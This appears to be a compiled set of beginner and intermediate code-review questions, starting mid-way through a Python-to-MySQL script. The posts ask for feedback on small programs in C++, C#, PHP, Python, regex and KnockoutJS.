                    group = get_clean_id(item['_links']['assigned_group']['href'])
                else:
                    group = '0'

                #get user id or set to 0
                if item['_links']['assigned_user'] is not None:
                    assigned_to = get_clean_id(item['_links']['assigned_user']['href'])
                else:
                    assigned_to = 0

                cases = (case, cust, date, last_update, subj, status, plan, group, assigned_to)
                all_cases.append(cases)
            i += 1

            #prevents rate limiting over 60 calls/minute
            time.sleep(1)
        return all_cases

This inserts into the database:

    def add_cases(cases_dict):
        """
    Takes the list of known kanji and inserts into database.
    """
        cnx = mysql.connector.connect(user=uname, password=pw, host=host, database=db, charset='utf8')
        cursor = cnx.cursor()
        try:
            for data in cases_dict:
                print data
                sql = """INSERT INTO cases(id, customer_id, date, last_update, subject, status, plan, group_id, assigned_id)
    VALUES (%s, %s, %s , %s, %s, %s, %s, %s, %s);"""
                cursor.execute(sql, data)
                cnx.commit()

        except MySQLdb.Error, e:
            print "Error %d: %s" % (e.args[0], e.args[1])
            cnx.rollback()
        cursor.close()
        cnx.close()


texts: Parsing comma-separated floats and semicolon-delimited commands

texts:
I wrote a cstring parser. It has to work with a relatively wide amount of arguments (usually 3 or 4, but maybe in future with a different amount), which are separated by an , or ;. My wish is to make at least Function 1 less static and save some code. However, I don't really want to use dynamic memory allocation (just if it not to avoid and would bring a benefit). The whole code should run on ATMega2560. This is why I cannot use higher library functions.

Function 1:

float *Receiver::parse_pid_substr(char* buffer) {
  static float pids[8];
  memset(pids, 0, 8*sizeof(float) );

  char cI[32], cII[32], cIII[32], cIV[32], cV[32], cVI[32], cVII[32], cVIII[32];
  size_t i = 0, c = 0, p = 0;
  for(; i < strlen(buffer); i++) {
    if(buffer[i] == '\0') {
      break;
    }
    else if(buffer[i] != ',') {
      switch(p) {
        case 0:
          cI[c] = buffer[i];
          cI[c+1] = '\0';
          break;
        case 1:
          cII[c] = buffer[i];
          cII[c+1] = '\0';
          break;
        case 2:
          cIII[c] = buffer[i];
          cIII[c+1] = '\0';
          break;
        case 3:
          cIV[c] = buffer[i];
          cIV[c+1] = '\0';
          break;
        case 4:
          cV[c] = buffer[i];
          cV[c+1] = '\0';
          break;
        case 5:
          cVI[c] = buffer[i];
          cVI[c+1] = '\0';
          break;
        case 6:
          cVII[c] = buffer[i];
          cVII[c+1] = '\0';
          break;
        case 7:
          cVIII[c] = buffer[i];
          cVIII[c+1] = '\0';
          break;
      }
      c++;
    } else {
      p++;
      c = 0;
      continue;
    }
  }

  pids[0] = atof(cI);
  pids[1] = atof(cII);
  pids[2] = atof(cIII);
  pids[3] = atof(cIV);
  pids[4] = atof(cV);
  pids[5] = atof(cVI);
  pids[6] = atof(cVII);
  pids[7] = atof(cVIII);

  return pids;
}

Function 2:

bool Receiver::parse_pid_conf(char* buffer) {
  if(m_pHalBoard == NULL) {
    return false;
  }
  else if(m_rgChannelsRC[2] > RC_THR_MIN) {        // If motors run: Do nothing!
    return false;
  }

  // process cmd
  bool bRet = false;
  char *str = strtok(buffer, "*");                  // str = roll, pit, thr, yaw
  char *chk = strtok(NULL, "*");                    // chk = chksum

  if(verf_chksum(str, chk) ) {                    // if chksum OK
    char *cstr;

    for(uint_fast8_t i = 0; i < PID_ARGS; i++) {
      if(i == 0)
        cstr = strtok (buffer, ";");
      else cstr = strtok (NULL, ";");

      float *pids = parse_pid_substr(cstr);
      switch(i) {
      case 0:
        m_pHalBoard->m_rgPIDS[PID_PIT_RATE].kP(pids[0]);
        m_pHalBoard->m_rgPIDS[PID_PIT_RATE].kI(pids[1]);
        m_pHalBoard->m_rgPIDS[PID_PIT_RATE].imax(pids[2]);
        break;
      case 1:
        m_pHalBoard->m_rgPIDS[PID_ROL_RATE].kP(pids[0]);
        m_pHalBoard->m_rgPIDS[PID_ROL_RATE].kI(pids[1]);
        m_pHalBoard->m_rgPIDS[PID_ROL_RATE].imax(pids[2]);
        break;
      case 2:
        m_pHalBoard->m_rgPIDS[PID_YAW_RATE].kP(pids[0]);
        m_pHalBoard->m_rgPIDS[PID_YAW_RATE].kI(pids[1]);
        m_pHalBoard->m_rgPIDS[PID_YAW_RATE].imax(pids[2]);
        break;
      case 3:
        m_pHalBoard->m_rgPIDS[PID_THR_ACCL].kP(pids[0]);
        m_pHalBoard->m_rgPIDS[PID_THR_ACCL].kI(pids[1]);
        m_pHalBoard->m_rgPIDS[PID_THR_ACCL].imax(pids[2]);
        break;
      case 4:
        m_pHalBoard->m_rgPIDS[PID_PIT_STAB].kP(pids[0]);
        m_pHalBoard->m_rgPIDS[PID_ROL_STAB].kP(pids[1]);
        m_pHalBoard->m_rgPIDS[PID_YAW_STAB].kP(pids[2]);
        m_pHalBoard->m_rgPIDS[PID_THR_STAB].kP(pids[3]);
        bRet = true;
        break;
      }
    }
  }
  return bRet;
}


texts:
I am 100% self-taught, and so I try to read as much as I can about best practices, conventions, etc. However I freelance, and have been in a long-term contract position for the past little while with almost no peers to review my code. So I get nervous about developing bad habits.

Looking closely at this function I wrote (meant to give me a quick look over the db make sure nothing else is signed that ought to be unsigned):

$db = Database::instance();
$tables = array();
$result = $db->query('SHOW TABLES');
foreach($result as $table)
{
        $create = $db->query("SHOW CREATE TABLE `".current($table)."`");
        $tables[current($create->current())] = end($create->current());
}
echo var_dump($tables);

I see a couple things - $tables and $table are similar things, but $tables is not made up of every $table, so it could be confusing.

I tend to name all query results as $result unless there is a potential naming conflict.

Concatenating a function result within a query call seems more a quality of 'fast code' than 'good code'.

Am I being too nit-picky? Does this code look like it was written by an amateur/bad programmer?


texts: ASP.NET web API handling dynamic connection string

texts:
I have a project where it is an absolute requirement that each client is on a separate database. My design is to use a class that builds the connection string from the userId. There is a base controller class that will check if the database connection is in the Session variable and if not will build and store it. Is this a good approach from a security and performance standpoint?

public abstract class BaseApiController : ApiController
{
    /// <summary>
    /// Constructor
    /// </summary>
    protected BaseApiController()
    {

        if (!string.IsNullOrEmpty(SessionWrapper.ConnectionString)) return;

        var userId = User.Identity.GetUserId();
        if (!string.IsNullOrEmpty(userId))
        {
            var connectionString = CustomerConnectionString.GetConnectionString(userId);
            SessionWrapper.ConnectionString = connectionString;
        }

    }
}


texts: A little C++ program to have timed rounds for a game

texts:
I know it could be better, but I’m new to C++, so I don’t know many of the tricks, along with some of the includes that are already obsolete.

This program asks for names as input, adds a time for rounds, and then times each player’s turn (i.e. for use in charades). Proven to compile with MinGW cpp.

Precompiled version: https://github.com/ProjectArrow78/EasyGame

#include <iostream>
#include <cmath>
#include <chrono>
#include <ctime>
#include <stdlib.h>
#include <windows.h>
#include <cwchar>
#include <vector>

using namespace std;

vector<string> playerlist;
string currentplayer;
string previousplayer;
bool setprevious = true;
int playercount;
int playerprogression = 1;
int roundtime;
int timescale = 1000;
// Regular timescale: 1000

void collectnames() {
    string playercollected;
    bool continuenameloop;
    bool firstloop = true;
    int playerscollected = 1;

        cout << "How many players will there be?" << endl;
    cin >> playercount;
    playerlist.resize (playercount);
    while(continuenameloop) {
        cout << "Who is player " << playerscollected << "?" << endl;
        if(firstloop == true) {
            cin.ignore();
            firstloop = false;
        }
        getline(cin, playercollected);
        playerlist.insert (playerlist.begin() + playerscollected, playercollected);
        playerscollected++;

        if(playerscollected == playercount+1) {
            continuenameloop = false;
        }
    }
}

void introduction() {
    cout << "Welcome to EasyGame" << endl;
    collectnames();
    cout << "How many minutes per turn?" << endl;
    cin >> roundtime;
}

void playerlogic() {
    playerprogression++;
    previousplayer = currentplayer;
    if(playerprogression > playercount) {
        playerprogression = 1;
    }
    currentplayer = playerlist [playerprogression];
    if(setprevious == true) {
        previousplayer = playerlist [1];
        setprevious = false;
    }
}

void skipturn() {
    char playturn;

    cout << "It is " << playerlist [playerprogression] << "'s turn!" << endl;
    cout << "Play turn? (Y/N)" << endl;
    cin >> playturn;
    if(playturn == 'n' or playturn == 'N') {
        playerlogic();
        skipturn();

    }
}

void playertime() {
    bool runtimer = true;
    int timeremaining = roundtime;

    while(runtimer) {
        cout << string( 100, '\n' );
        cout << "You have " << timeremaining << " minutes remaining." << endl;
        Sleep(roundtime * timescale * 12);
        timeremaining--;
        if(timeremaining == 0) {
            cout << string( 100, '\n' );
            cout << previousplayer << "'s time is up! \n" << endl;
            runtimer = false;
        }
    }
}

int main() {
    system("color 71");
    SetConsoleTitle("EasyGame");
    introduction();
    while(true) {
        playerlogic();
        playertime();
        skipturn();
    }
}


texts:
I'm fairly new to programming and I decided to make a small C# console program for practice. The program asks for user input and gives a random "compliment", it also has a small chance to give a bonus "compliment". How can I improve my code and also what whould you recomend me to try adding? -ps. the "compliments" are mostly a joke.

My code:

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;

namespace Compliment_giver
{
class Program
{
    static void Main(string[] args)
    {
        Greeting();
        start:
        string answer = Console.ReadLine();
        if(answer != "yes" && answer != "no")
        {
            Console.WriteLine("Unexpected input, please type either \"yes\" or \"no\"");
            goto start;
        }
        while(answer == "yes")
        {
            Console.Clear();
            string result = RandomCompliment();
            Console.WriteLine("\n{0}\n",result);
            if (BonusCompliment())
                Console.WriteLine("BONUS COMPLIMENT!\nYou are Very Lucky\n");
            Console.Write("Would you like another compliment? : ");
            goto start;
        }
    }

    public static string RandomCompliment()
    {
        string[] compliment = new string[10];
        compliment[0] = "Your hair smells nice";
        compliment[1] = "Your face is ok I guess";
        compliment[2] = "You're probably smarter than a penguin";
        compliment[3] = "Your body appears to be human";
        compliment[4] = "You seem pleasant";
        compliment[5] = "You likely aren't the most annoying person in the world";
        compliment[6] = "You are talanted... at something possibly";
        compliment[7] = "Your eyes are of good color";
        compliment[8] = "Your are the best looking person in a room by yourself";
        compliment[9] = "You are right all the time, exept only when you are not";

        Random number = new Random();
        int rng = number.Next(0, 10);

        string _result = compliment[rng];

        return _result;
    }

    public static void Greeting()
    {
        Console.WriteLine("Welcome to the Compliment Giver 3000!");
        Console.WriteLine("This program is designed to give free compliments to make you feel better");
        Console.Write("Do you want a compliment?    yes/no: ");
    }

    public static bool BonusCompliment()
    {
        Random percentage = new Random();
       int bonus = percentage.Next(1, 101);

        if (bonus <= 3)
            return true;
        else
            return false;
    }

}
}


texts: Select products and config values from MySQL

texts:
I have working code that gets product details and config values from a MySQL
database, but it's combined with HTML. Is there a better way to do this, maybe a class that I can use?

<!DOCTYPE html>
<!--[if lt IE 7]>      <html class="no-js lt-ie9 lt-ie8 lt-ie7"> <![endif]-->
<!--[if IE 7]>         <html class="no-js lt-ie9 lt-ie8"> <![endif]-->
<!--[if IE 8]>         <html class="no-js lt-ie9"> <![endif]-->
<!--[if gt IE 8]><!--> <html class="no-js"> <!--<![endif]-->
<?php
require __DIR__ . '/vault/MySQL.php';

$id = ( isset( $_GET['pid'] ) && is_numeric( $_GET['pid'] ) ) ? intval( $_GET['pid'] ) : 0;
if ( $id != 0 ) {
try {

// select all data
// $query = "SELECT product_id, product_title, product_description, product_category, product_image FROM products WHERE product_id = ? LIMIT 1";
$query = "SELECT p.product_id AS product_id, p.product_title AS product_title, p.product_description AS product_description, categories.category_name AS category_name, p.product_category AS product_category, p.product_image AS product_image, p.product_image_thumb AS product_image_thumb FROM products p LEFT JOIN categories ON p.product_category=categories.category_id WHERE p.product_id = ? LIMIT 1";
$stmt = $con->prepare( $query );
$stmt->bindParam(1, $_REQUEST['pid'], PDO::PARAM_INT);
$stmt->execute();

// store retrieved row to a variable
$row = $stmt->fetch(PDO::FETCH_ASSOC);

// values to fill up our form
extract ($row);

} catch (PDOException $exception) { // to handle error
    echo "Error: " . $exception->getMessage();
}
    }
else        {
    echo "something went wrong";
    }
// select all data
$iQ = "SELECT config_name, config_value FROM config";
$stmt = $con->prepare( $iQ );
$stmt->execute();

while ($row = $stmt->fetch(PDO::FETCH_ASSOC) )
{
$config[$row['config_name']] = $row['config_value'];
}
?>
<head>
   <meta charset="utf-8">
   <!--[if IE]><meta http-equiv='X-UA-Compatible' content='IE=edge,chrome=1'><![endif]-->
   <title><?php echo $config['frontend_title'] . " - " . $product_title;?></title>
   <meta name="description" content="<?php echo "{$product_description}";?>">


texts: Return the prime numbers that are dividers of a some numbers in a list

texts:
What I need to do is to return the prime numbers that are dividers of a some numbers in a list, so if
I = [12, 15] # result = [[2, 12], [3, 27], [5, 15]]

and this is the code that I used for that:
def sum_for_list(lst):
    r = []
    for num in lst:
        for i in range(2, abs(num)+1):
            if num%i == 0 and i%2 != 0 and all(i%x != 0 for x in r) and i not in r:
                r.append(i)
            elif i == 2 and num%i == 0 and 2 not in r:
                r.append(i)

    newList = []
    for r in r:
        z = 0
        for y in lst:
            if y%r == 0:
                z += y
        newList.append([r,z])

    return sorted(newList)

BTW, if you know about good resources to study efficient algorithms, I would really appreciate that too :)


texts: Send / receive wrapper for System.Net.Sockets

texts:
The following NetworkEndpoint class serves as a simple send / receive interface for either side of a network connection (client or server) when provided with a socket to operate through.

I have two main concerns about the code in it's current state:

What can I do to improve to exception handling to better deal with the socket becoming disconnected (both unexpectedly and intentionally)?
As far as I can tell I have protected against multiple receive loops begin started. (if (Receiving) return; in void InitializeReceiveLoop()) but are there any other major thread safety issues I have overlooked??

My knowledge of C# is primarily self taught so I apologize if my code does't reflect best practices or standard style guides.

Any advice on either of these issues or advice in general on improving my code would be greatly appreciated.

public class NetworkEndpoint {

    private Socket connection;
    public bool Connected { get => connection != null ? connection.Connected : false; }
    public bool Receiving { get; private set; }

    public event EventHandler<NetworkReceiveEventArgs> DataReceived;
    private void OnDataReceived(NetworkHeader header, byte[] data) =>
    DataReceived?.Invoke(this, new NetworkReceiveEventArgs(header, data));

    public event EventHandler Disconnected;
    private void OnDisconnected() =>
    Disconnected?.Invoke(this, new EventArgs());

    public NetworkEndpoint(Socket socket) {
        connection = socket ?? throw new ArgumentNullException("socket");
        Receiving = false;
    }

    public void Send(NetworkHeader header, byte[] data) {
        if (!Connected) throw new InvalidOperationException("NetworkEndpoint must be connected before sending.");
        try {
            connection.Send(ByteUtils.Combine(header.Serialize(), data));
            } catch (SocketException ex) {
            Disconnect();
        }

    }

    public void Disconnect() {
        connection?.Shutdown(SocketShutdown.Both);
        connection?.Close();
        connection = null;
        OnDisconnected();
    }

    public void InitializeReceiveLoop() {
        if (Receiving) return;

        Receiving = true;
        BeginReceive();
    }

    private byte[] headBuffer = new byte[NetworkHeader.ByteSize];
    private void BeginReceive() {
        connection.BeginReceive(headBuffer, 0, NetworkHeader.ByteSize, SocketFlags.None, EndReceive, null);
    }

    private void EndReceive(IAsyncResult result) {
        bool fullyReceived = false;
        byte[] dataBuffer = null;
        NetworkHeader header = null;

        try {
            if (connection.EndReceive(result) > 0) {
                header = NetworkHeader.Deserialize(headBuffer);
                dataBuffer = new byte[header.DataSize];

                int receivedLength = connection.Receive(dataBuffer, 0, dataBuffer.Length, SocketFlags.None);
                fullyReceived = (receivedLength == header.DataSize);
            }
        } catch (SocketException) { }

        if (fullyReceived) {
            OnDataReceived(header, dataBuffer);
            BeginReceive();
        } else if (connection.Connected) Disconnect();
    }
}


texts:
I'm trying to write regex to validate the password for the given rule.

Passwords must be at least 8 characters in length and contain at least 3 of the following 4 types of characters:

lower case letters (i.e. a-z)
upper case letters (i.e. A-Z)
numbers (i.e. 0-9)
special characters (e.g. !@#$&*)

I was going through this discussion and found this really great answer over there.

Now I'm trying to write regex for the mentioned requirements and I came up with the solution like this

^(?=.*[A-Z])(?=.*[!@#$&*])(?=.*[0-9])(?=.*[a-z]).{8,}|
(?=.*[!@#$&*])(?=.*[0-9])(?=.*[a-z]).{8,}|
(?=.*[A-Z])(?=.*[0-9])(?=.*[a-z]).{8,}|
(?=.*[A-Z])(?=.*[!@#$&*])(?=.*[a-z]).{8,}|
(?=.*[A-Z])(?=.*[!@#$&*])(?=.*[0-9]).{8,}$

and it is working perfect see rubular but I want to optimize these regex and I'm not sure If there are any way to simplify this.
Any suggestion will be appreciated.


texts: Adding 1 to Date while binding using KnockoutJS

texts:
I am using KnockoutJS to bind some values. I have a date value TimeByDay that I bind like this:

But I would also like to transform the date on a different location and simply add a day to the TimeByDay value.

I can do it like this:

Is there a prettier way to do this? Maybe some feature in KnockoutJS that I am missing?

(The reason I am encapsulating both values in a new Date() construct is that I also apply formatting to the date.)

ViewModel:

$(document).ready(function () {

    var serverData = $.getJSON("../../_api/");
    serverData.done(function (data) {
        ko.applyBindings(new EngagementsList(data.value));
    });

});

function EngagementsList(engagementList) {
    var self = this;
    self.entries = engagementList;
}

HTML: